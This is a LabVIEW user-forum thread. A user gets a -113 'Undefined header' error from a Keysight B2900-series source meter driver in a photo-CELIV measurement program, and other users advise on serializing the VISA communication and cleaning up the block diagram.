The primary disadvantage of Betternet is that it has weak protection against malware. This can be a huge problem for users who tend to download a lot of content. Even for casual users, surfing the internet without anti-malware can compromise the security of your computer and private information. Check out this list of the best browsing security solutions that you can use on your computer.
On the other hand, if you are looking for a highly functional, secure, and fast VPN provider, then I suggest you check out CyberGhost.
CyberGhost vs Betternet
CyberGhost has both free and premium VPN services. The free service of CyberGhost is pretty much the same as Betternet. Both VPN providers offer unlimited bandwidth and numerous server locations. However, CyberGhost‘s free service has a three hour time limit, while Betternet can be used indefinitely. Furthermore, Betternet does not require a registration to user.
However, CyberGhost offers amazing premium plans. Once you are ready to upgrade to a premium service, I strongly recommend CyberGhost. Their servers are renowned to be extremely fast, secure, and reliable. In fact, CyberGhost utilizes a 256 AES bit encryption for their premium servers.
So in short, CyberGhost would be a far better option for a premium plan, while the free edition of Betternet is slightly better than the CyberGhost free version. Nevertheless, I still recommend CyberGhost over Betternet as their services are far more flexible, secure, and fast.
Conclusion
If you are looking for a no hassle VPN without email sign up, then Betternet is the one for you. However, their free service only offers basic features, that will not be satisfactory for long term use. So, if you are looking for a VPN service that is more well-rounded and functional, then you will want to try CyberGhost.
Read More:
Tags | {
"url": "https://windowsreport.com/vpn-without-email/",
"source_domain": "windowsreport.com",
"snapshot_id": "crawl=CC-MAIN-2019-47",
"warc_metadata": {
"Content-Length": "121894",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2XACI5UIDBCTA5RVPUZRM4L6ZKMT5FQT",
"WARC-Concurrent-To": "<urn:uuid:6891d5d2-940c-4756-ba0a-f6811441bbe5>",
"WARC-Date": "2019-11-11T20:29:02Z",
"WARC-IP-Address": "209.58.138.205",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DL6LOUVHFHCOLC3LLKB6DBRJ2NG7ALK5",
"WARC-Record-ID": "<urn:uuid:9a861293-b663-41fa-8652-d9d9cc165bc9>",
"WARC-Target-URI": "https://windowsreport.com/vpn-without-email/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fe309050-1315-4ade-a424-dccde9496838>"
},
"warc_info": "isPartOf: CC-MAIN-2019-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-221.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
39,
40,
41,
54,
70,
96,
113,
134,
135,
153,
154,
351,
352,
501,
502,
521,
522,
717,
718,
848,
849,
881,
882,
1044,
1045,
1275,
1276,
1466,
1467,
1815,
1816,
2272,
2273,
2314,
2315,
2659,
2660,
2917,
2918,
3310,
3311,
3446,
3447,
3471,
3472,
3838,
3839,
4126,
4127,
4406,
4407,
4418,
4419,
4742,
4743,
4755,
4756
],
"line_end_idx": [
39,
40,
41,
54,
70,
96,
113,
134,
135,
153,
154,
351,
352,
501,
502,
521,
522,
717,
718,
848,
849,
881,
882,
1044,
1045,
1275,
1276,
1466,
1467,
1815,
1816,
2272,
2273,
2314,
2315,
2659,
2660,
2917,
2918,
3310,
3311,
3446,
3447,
3471,
3472,
3838,
3839,
4126,
4127,
4406,
4407,
4418,
4419,
4742,
4743,
4755,
4756,
4760
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4760,
"ccnet_original_nlines": 57,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4384017884731293,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025527190417051315,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.12208656966686249,
"rps_doc_frac_unique_words": 0.38343948125839233,
"rps_doc_mean_word_length": 4.889172077178955,
"rps_doc_num_sentences": 51,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.087446689605713,
"rps_doc_word_count": 785,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.042209479957818985,
"rps_doc_frac_chars_dupe_6grams": 0.021365290507674217,
"rps_doc_frac_chars_dupe_7grams": 0.011464299634099007,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.011724860407412052,
"rps_doc_frac_chars_top_3gram": 0.012506510131061077,
"rps_doc_frac_chars_top_4gram": 0.01563313975930214,
"rps_doc_books_importance": -407.8019714355469,
"rps_doc_books_importance_length_correction": -407.8019714355469,
"rps_doc_openwebtext_importance": -292.4512023925781,
"rps_doc_openwebtext_importance_length_correction": -292.4512023925781,
"rps_doc_wikipedia_importance": -154.29818725585938,
"rps_doc_wikipedia_importance_length_correction": -154.29818725585938
},
"fasttext": {
"dclm": 0.06058704853057861,
"english": 0.9290419816970825,
"fineweb_edu_approx": 1.1082231998443604,
"eai_general_math": 0.01834064908325672,
"eai_open_web_math": 0.05445433035492897,
"eai_web_code": 0.021169599145650864
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "14",
"label": "Reviews/Critiques"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,164,390,384,287,520,500 | A modern technology is not always
Technology based on life science has been of a great help in the field of medicine. Not only do sophisticated medical practices help patients heal directly; new technology has also improved research so experts can make healthcare even more effective. This technology has led to many useful applications such as X-rays and shots among others. X-rays help in showing cavities and shots may prevent mumps and measles.
A modern technology is not always
Maximum words Submit We rely too much on computers and software, no one knows how to think for themselves anymore I work in an industry that uses computers and software to design, been doing this for 38 years.
Started back in the day of the pencil and paper, you calculated and figure things out on your own with simple calculator, design manuals, standards, when people took pride in good work.
Then came computers, software all be it very simple in those days. At first the technology was an adjustment, but a good thing, we used our previous skills, the computer was another tool, the learning curve was reasonable. Things changed over the next 10 - 15 years in regards to technology, computers but continued at a reasonable pace, the software was half decently thought out and relatively stable, there were good teachers.
How to cite this page
There were good software development companies but then they were bought out by the bigger companies, their good software squashed now bigger companies could push their less efficient and far less user friendly software out, constantly changing, updating, changing platforms, how the software operated to the point that it is virtually impossible to do the actual work or understand how to make the software operate, no teachers everything is online.
For you software developers try to remember not everyone is a rocket scientist, software must be user friendly so the people that use it can be productive. NOW the software is making the work place FAR less efficient, more errors, no one can think for themselves, everything must be an automated process and common sense and skill sets that have been used for decades are rapidly getting lost in this fast paced transition, impossible for skill sets to be pasted along.
We have almost gone so far down this path that there is no way to slow down or stop it.
For Personal use:
The world is now a hectic place, this ever changing way that we do things has created a monster we cannot control, or be expected to keep up with. Are we really better off and happier in life today because of technology.Modern technology is changing the way our brains work, says neuroscientist.
Most watched News videos. as actress admits she's 'always been extra' Revealing interview. And not only that: You need to look at the technology ecosystems for both the new technology and the old technology. What we set out as our goal was, we wanted to explain this variance.
What we saw from our field work and heard in our interviews, that by looking at the technology itself, the resolution in terms of whether adoption is going to .
Is Technology the Problem or the Solution?
Modern technology is simply an advancement of old technology. The impact of technology in modern life is unmeasurable, we use technology in different ways and sometimes the way we implement various technologies do more damage than good.
Modern technology is simply an advancement of old technology. The impact of technology in modern life is unmeasurable, we use technology in different ways and sometimes the way we implement various technologies do more damage than good. What we call modern technology is . Dec 20, · Technology is a Good Thing; Technology is a Good Thing Technology not only moves our world forward into a new and advanced era, but it connects our world in a way people never thought possible. Technology does not yet have a mind of its own, but that it what most of the negative claims are suggesting and are fearful of.
What we call modern technology is . Modern technology has changed civilization in many different ways. Humans have almost always been on a path of progression, but thanks to technology, the twentieth and twenty-first centuries have seen a number of advancements that revolutionized the way people work, live and play.
Modern technology is not inherently Western and the East does not resist it.
The Importance of Modern Technology | It Still Works
By Krzysztof Iwanek. April 16, A burka-clad woman with a cellphone, a bearded militant with an RPG – in the. My husband and I just had a big laugh over this! Hilarious, and so typical of technology run amok.
Not even complicated technology, either.
A modern technology is not always
Just banal technology.
Modern technology, it's not always what it is cracked up to be. *warning sarcasm* | {
"url": "https://ravujugejohubito.schwenkreis.com/a-modern-technology-is-not-always-16058zp.html",
"source_domain": "ravujugejohubito.schwenkreis.com",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "9563",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:77KMR433YAHDXX5P7XSGI7NFMPEUFXGU",
"WARC-Concurrent-To": "<urn:uuid:c3aeefb7-683b-4a61-ba61-70099bd8d753>",
"WARC-Date": "2021-12-05T07:52:29Z",
"WARC-IP-Address": "172.67.161.236",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QF4OC5XDPVCOZKPJ7NB3AGGUMJGYZD4T",
"WARC-Record-ID": "<urn:uuid:a84e4b93-23b7-4769-8cd1-4a99cef24cbf>",
"WARC-Target-URI": "https://ravujugejohubito.schwenkreis.com/a-modern-technology-is-not-always-16058zp.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1593351d-0527-4acc-83a9-7da6e20f98fc>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-123\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
34,
35,
450,
451,
485,
486,
696,
697,
883,
884,
1314,
1315,
1337,
1338,
1789,
1790,
2260,
2261,
2349,
2350,
2368,
2369,
2665,
2666,
2943,
2944,
3105,
3106,
3149,
3150,
3387,
3388,
3994,
3995,
4313,
4314,
4391,
4392,
4445,
4446,
4654,
4655,
4696,
4697,
4731,
4732,
4755,
4756
],
"line_end_idx": [
34,
35,
450,
451,
485,
486,
696,
697,
883,
884,
1314,
1315,
1337,
1338,
1789,
1790,
2260,
2261,
2349,
2350,
2368,
2369,
2665,
2666,
2943,
2944,
3105,
3106,
3149,
3150,
3387,
3388,
3994,
3995,
4313,
4314,
4391,
4392,
4445,
4446,
4654,
4655,
4696,
4697,
4731,
4732,
4755,
4756,
4837
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4837,
"ccnet_original_nlines": 48,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4783080220222473,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011930589564144611,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1160520613193512,
"rps_doc_frac_unique_words": 0.42822086811065674,
"rps_doc_mean_word_length": 4.776687145233154,
"rps_doc_num_sentences": 41,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.24507474899292,
"rps_doc_word_count": 815,
"rps_doc_frac_chars_dupe_10grams": 0.10120730102062225,
"rps_doc_frac_chars_dupe_5grams": 0.15104033052921295,
"rps_doc_frac_chars_dupe_6grams": 0.15104033052921295,
"rps_doc_frac_chars_dupe_7grams": 0.10120730102062225,
"rps_doc_frac_chars_dupe_8grams": 0.10120730102062225,
"rps_doc_frac_chars_dupe_9grams": 0.10120730102062225,
"rps_doc_frac_chars_top_2gram": 0.04520934820175171,
"rps_doc_frac_chars_top_3gram": 0.036989469081163406,
"rps_doc_frac_chars_top_4gram": 0.02157719060778618,
"rps_doc_books_importance": -552.3947143554688,
"rps_doc_books_importance_length_correction": -552.3947143554688,
"rps_doc_openwebtext_importance": -240.05117797851562,
"rps_doc_openwebtext_importance_length_correction": -240.05117797851562,
"rps_doc_wikipedia_importance": -224.07382202148438,
"rps_doc_wikipedia_importance_length_correction": -224.07382202148438
},
"fasttext": {
"dclm": 0.1759243607521057,
"english": 0.9618256688117981,
"fineweb_edu_approx": 2.625430107116699,
"eai_general_math": 0.16634196043014526,
"eai_open_web_math": 0.33471357822418213,
"eai_web_code": 0.007691199891269207
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.01",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "610.28",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Medicine",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "4",
"label": "Metacognitive"
}
},
"document_type_v1": {
"primary": {
"code": "1",
"label": "News/Editorial"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,349,772,044,787,379,000 | Advertisement
Online Test Banks
Score higher
See Online Test Banks
eLearning
Learning anything is easy
Browse Online Courses
Mobile Apps
Learning on the go
Explore Mobile Apps
Dummies Store
Shop for books and more
Start Shopping
Basic Math & Pre-Algebra
View:
Sorted by:
How to Find the Factors of a Number
The factors of a number are all those numbers that can divide evenly into the number with no remainder. The greatest factor of a number is the number itself, so you can always list all the factors of any [more…]
How to Increase the Terms of a Fraction
Even if fractions look different, they can actually represent the same amount; in other words, one of the fractions will have increased terms compared to the other. You may need to increase the terms of [more…]
How to Reduce a Fraction to Its Lowest Terms
Even if fractions look different, they can actually represent the same amount; in other words, one of the fractions will have reduced terms compared to the other. You may need to reduce the terms of fractions [more…]
How to Convert a Mixed Number to an Improper Fraction
Although mixed numbers are great for everyday use, it is often easier to work with improper fractions when you want to solve math problems. To convert a mixed number to an improper fraction, follow these [more…]
How to Cross-Multiply Two Fractions
Cross-multiplication is a handy math skill to know. You can use it for a few different purposes. For example, you can compare fractions and find out which is greater. [more…]
How to Divide Fractions by Finding the Reciprocal
Dividing fractions is just as easy as multiplying them. In fact, when you divide fractions, you really turn the problem into multiplication by using a reciprocal. [more…]
How to Find the Sum of Fractions with the Same Denominator
When you add two fractions that have the same denominator (bottom number), you simply add the numerators (top numbers) together and leave the denominator unchanged. [more…]
How to Add Fractions with Different Denominators
When the fractions that you want to add have different denominators, there are a few different ways you can do it. Here, you’ll learn the easy way, then a quick trick that works in a few special cases, [more…]
Use Rectangles to Identify Composite Numbers
Some numbers can be placed in rectangular patterns. Mathematicians probably should call numbers like these “rectangular numbers,” but instead they chose the term composite numbers. For example, 12 is a [more…]
How to Subtract Numbers
Subtraction is usually the second operation you discover, and it’s not much harder than addition. In fact, you can subtract larger numbers by stacking them in columns, similar to how you add large numbers [more…]
How to Multiply Numbers
To multiply numbers, you need to know how to work with the different times signs as well as parentheses. If you multiply large numbers, you also need to know how to stack them in columns, so that you can [more…]
How to Find the Least Common Multiple
The least common multiple (LCM) of a set of numbers is the lowest positive number that is a multiple of every number in that set. For example, the LCM of the numbers 2, 3, and 5 is 30 because [more…]
How to Convert an Improper Fraction to a Mixed Number
Although improper fractions are great for solving math problems, the results may be easier for people to understand if you first convert them to mixed numbers. To convert an improper fraction to a mixed [more…]
A Closer Look at Pi (p)
The symbol p (pi — pronounced pie) is a Greek letter that stands for the ratio of the circumference of a circle to its diameter. Here’s the approximate value of p: [more…]
How to Subtract Fractions with the Same Denominator
Subtracting fractions with the same denominator (bottom number) is easy. When the denominators are the same, you can just think of the fractions as pieces of cake. [more…]
Move the Decimal Point to Change a Number’s Value
When you’re working with whole numbers, you can multiply or divide any number by 10 just by moving the decimal point to the right or left, respectively. When you multiply by moving the decimal point to [more…]
How to Round Decimals
Rounding decimals works almost exactly the same as rounding numbers. You will usually need to round a decimal either to a whole number or to one or two decimal places. [more…]
How to Add Decimals
Adding decimals is almost as easy as adding whole numbers. As long as you set up the problem correctly, you’re in good shape. To add decimals, follow these steps: [more…]
How to Subtract Decimals
Subtracting decimals is almost as easy as subtracting whole numbers. As long as you set up the problem correctly, you’re in good shape. Here’s how you subtract decimals: [more…]
How to Multiply Decimals
Multiplying decimals is different from adding and subtracting them in that you don’t have to worry about lining up the decimal points. In fact, the only difference between multiplying whole numbers and [more…]
How to Divide Decimals
When you know how to do long division, figuring out how to divide decimals is easy. However, unlike dividing whole numbers, with decimals, you have to add trailing zeros in the dividend and you also have [more…]
How to Use Trailing Zeros and Leading Zeros in a Decimal Number
When you work with decimal numbers, you need to understand the difference between trailing zeros and leading zeros, as well as how they affect the value of the number. [more…]
How to Convert between Percents and Decimals
It is easy to convert percents to decimals and decimals to percents. For example, to convert a percent to a decimal, you drop the percent sign (%) and move the decimal point two places to the left. That’s [more…]
How to Convert from Percents to Fractions
Converting percents to fractions is fairly straightforward. Remember that the word percent means “out of 100.” So changing percents to fractions naturally involves the number 100. [more…]
How to Split Up a Pizza into Unequal Amounts
You may have to add or subtract fractions in word problems that involve splitting up part of a whole into unequal amounts. For example, consider the following pizza problem: [more…]
Listings:1-2526-5051-7576-100more...
Advertisement
Sign Up for RSS Feeds
Education & Languages
Win $500. Easy. Enter to win now.
Inside Dummies.com
Dummies.com Sweepstakes
Win $500. Easy. Enter to win now! | {
"url": "http://www.dummies.com/how-to/education-languages/math/Basic-Math-Pre-Algebra.html?sort=POPULAR&page=2",
"source_domain": "www.dummies.com",
"snapshot_id": "crawl=CC-MAIN-2013-48",
"warc_metadata": {
"Content-Length": "53648",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ONWRKQJQZR2MIIFJT2F5TTV2C635UAWX",
"WARC-Concurrent-To": "<urn:uuid:ba9ab1d2-73bd-4d1e-be6a-fb7bd814fe17>",
"WARC-Date": "2013-12-13T21:59:13Z",
"WARC-IP-Address": "208.215.179.139",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:6A6F37YPKKHZC54DWMRWZS6BYR6JORDY",
"WARC-Record-ID": "<urn:uuid:0c19700e-3abd-416d-a237-46ac9f451a71>",
"WARC-Target-URI": "http://www.dummies.com/how-to/education-languages/math/Basic-Math-Pre-Algebra.html?sort=POPULAR&page=2",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:312c7978-f733-4a89-b4a3-e282a4dbb691>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
14,
32,
45,
67,
77,
103,
125,
137,
156,
176,
190,
214,
229,
230,
255,
256,
264,
277,
278,
314,
315,
527,
528,
568,
569,
780,
781,
826,
827,
1044,
1045,
1099,
1100,
1312,
1313,
1349,
1350,
1525,
1526,
1576,
1577,
1748,
1749,
1808,
1809,
1982,
1983,
2032,
2033,
2243,
2244,
2289,
2290,
2500,
2501,
2525,
2526,
2739,
2740,
2764,
2765,
2977,
2978,
3016,
3017,
3217,
3218,
3272,
3273,
3484,
3485,
3509,
3510,
3682,
3683,
3735,
3736,
3908,
3909,
3959,
3960,
4170,
4171,
4193,
4194,
4370,
4371,
4391,
4392,
4563,
4564,
4589,
4590,
4768,
4769,
4794,
4795,
5005,
5006,
5029,
5030,
5242,
5243,
5307,
5308,
5484,
5485,
5530,
5531,
5744,
5745,
5787,
5788,
5976,
5977,
6022,
6023,
6205,
6206,
6243,
6257,
6258,
6280,
6281,
6303,
6337,
6338,
6357,
6358,
6382,
6383
],
"line_end_idx": [
14,
32,
45,
67,
77,
103,
125,
137,
156,
176,
190,
214,
229,
230,
255,
256,
264,
277,
278,
314,
315,
527,
528,
568,
569,
780,
781,
826,
827,
1044,
1045,
1099,
1100,
1312,
1313,
1349,
1350,
1525,
1526,
1576,
1577,
1748,
1749,
1808,
1809,
1982,
1983,
2032,
2033,
2243,
2244,
2289,
2290,
2500,
2501,
2525,
2526,
2739,
2740,
2764,
2765,
2977,
2978,
3016,
3017,
3217,
3218,
3272,
3273,
3484,
3485,
3509,
3510,
3682,
3683,
3735,
3736,
3908,
3909,
3959,
3960,
4170,
4171,
4193,
4194,
4370,
4371,
4391,
4392,
4563,
4564,
4589,
4590,
4768,
4769,
4794,
4795,
5005,
5006,
5029,
5030,
5242,
5243,
5307,
5308,
5484,
5485,
5530,
5531,
5744,
5745,
5787,
5788,
5976,
5977,
6022,
6023,
6205,
6206,
6243,
6257,
6258,
6280,
6281,
6303,
6337,
6338,
6357,
6358,
6382,
6383,
6416
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6416,
"ccnet_original_nlines": 131,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4296875,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0031250000465661287,
"rps_doc_frac_lines_end_with_ellipsis": 0.007575760129839182,
"rps_doc_frac_no_alph_words": 0.15390625596046448,
"rps_doc_frac_unique_words": 0.30148422718048096,
"rps_doc_mean_word_length": 4.730055809020996,
"rps_doc_num_sentences": 45,
"rps_doc_symbol_to_word_ratio": 0.02031249925494194,
"rps_doc_unigram_entropy": 4.9888200759887695,
"rps_doc_word_count": 1078,
"rps_doc_frac_chars_dupe_10grams": 0.06511081010103226,
"rps_doc_frac_chars_dupe_5grams": 0.2018042802810669,
"rps_doc_frac_chars_dupe_6grams": 0.13688959181308746,
"rps_doc_frac_chars_dupe_7grams": 0.11767013370990753,
"rps_doc_frac_chars_dupe_8grams": 0.10864874720573425,
"rps_doc_frac_chars_dupe_9grams": 0.0949205681681633,
"rps_doc_frac_chars_top_2gram": 0.025495199486613274,
"rps_doc_frac_chars_top_3gram": 0.041184548288583755,
"rps_doc_frac_chars_top_4gram": 0.01333594974130392,
"rps_doc_books_importance": -688.5392456054688,
"rps_doc_books_importance_length_correction": -688.5392456054688,
"rps_doc_openwebtext_importance": -330.5644226074219,
"rps_doc_openwebtext_importance_length_correction": -330.5644226074219,
"rps_doc_wikipedia_importance": -282.13153076171875,
"rps_doc_wikipedia_importance_length_correction": -282.13153076171875
},
"fasttext": {
"dclm": 0.630577027797699,
"english": 0.9218701720237732,
"fineweb_edu_approx": 3.0860040187835693,
"eai_general_math": 0.954494297504425,
"eai_open_web_math": 0.6465373635292053,
"eai_web_code": 0.022452829405665398
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "513.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry"
}
},
"secondary": {
"code": "513.24",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "1",
"label": "Truncated Snippets"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
536,326,263,711,536,450 | LabVIEW
cancel
Showing results for
Search instead for
Did you mean:
113 undefined header, 0 no error
Hi all,
I have this programme in LabVIEW for Photo-CELIV ( charge extraction by linearly increasing voltage). I a using the Keysight B2912A so using the driver B2900a.
I am getting the error messages:
Agilent B2900 Series.lvlib:Error Query.vi<ERR>
Instrument reports:
-113,"Undefined header"
+0,"No error"
<b>Complete call chain:</b>
Agilent B2900 Series.lvlib:Error Query.vi
Agilent B2900 Series.lvlib:Configure Source.vi
I have looked up the error message indicates the header is syntactically correct, but it is undefined for this specific device. For example, *XYZ is not defined for any device.' but as someone new to LabVIEW I am struggling to fix this.
I have attached the program FYI.
Thanks,
Ellie
0 Kudos
Message 1 of 8
(1,040 Views)
I'm concerned you have 2 parallel things happening with the same VISA resource. You should be initializing before your loop and not closing until after the loop. You can then do all of the other stuff you want. But you definitely need a data dependency between your two tasks or you could be attempting to send multiple commands at the same time, possibly corrupting the communication and therefore causing your error.
GCentral
There are only two ways to tell somebody thanks: Kudos and Marked Solutions
Unofficial Forum Rules and Guidelines
"Not that we are sufficient in ourselves to claim anything as coming from us, but our sufficiency is from God" - 2 Corinthians 3:5
0 Kudos
Message 2 of 8
(1,024 Views)
Hi, thank you for this. Should I create two subVIs to fix this and then call them in the main VI?
0 Kudos
Message 3 of 8
(1,010 Views)
Hi ELLIE,
as pointed out: don't run serial communication in parallel!
Cleanup your blockdiagram to improve readability. And create two subVIs as indicated by the sequence frames:
Now execution order is purely dictated by DATAFLOW: the communication should be more stable than before…
You could (probably) also remove that frame with your wait function once you created your two subVIs.
What's the point of this (Rube-Goldberg) operation:
Why do you need to create a 2D array containing two rows just to index both rows immediatly after?
(And did you know IndexArray provides more than just one output?)
Best regards,
GerdW
using LV2016/2019/2021 on Win10/11+cRIO
Download All
0 Kudos
Message 4 of 8
(1,008 Views)
Hi GerdW, that is great- thank you for your insight! Quick question- how did you go from the below picture to just 'Typ'?
THanks again,
Ellie
0 Kudos
Message 5 of 8
(987 Views)
Hi Ellie,
@ELLIEg wrote:
how did you go from the below picture to just 'Typ'?
It's the same as with IndexArray: you can change the size of that element/the number of inputs/outputs!
With latest LabVIEW versions you can even hide the event data nodes completely. Read the help for the event structure…
(As I have installed the German LabVIEW version: "Typ" is German for "type".)
Best regards,
GerdW
using LV2016/2019/2021 on Win10/11+cRIO
0 Kudos
Message 6 of 8
(980 Views)
Hi again GerdW,
I have tidied the diagram up and added in the flat sequence structures however am still getting the same error codes:
Agilent B2900 Series.lvlib:Error Query.vi<ERR>
Instrument reports:
-113,"Undefined header"
+0,"No error"
<b>Complete call chain:</b>
Agilent B2900 Series.lvlib:Error Query.vi
Agilent B2900 Series.lvlib:Configure Source.vi
do you have any other ideas on how to fix?
THanks!
Ellie
0 Kudos
Message 7 of 8
(942 Views)
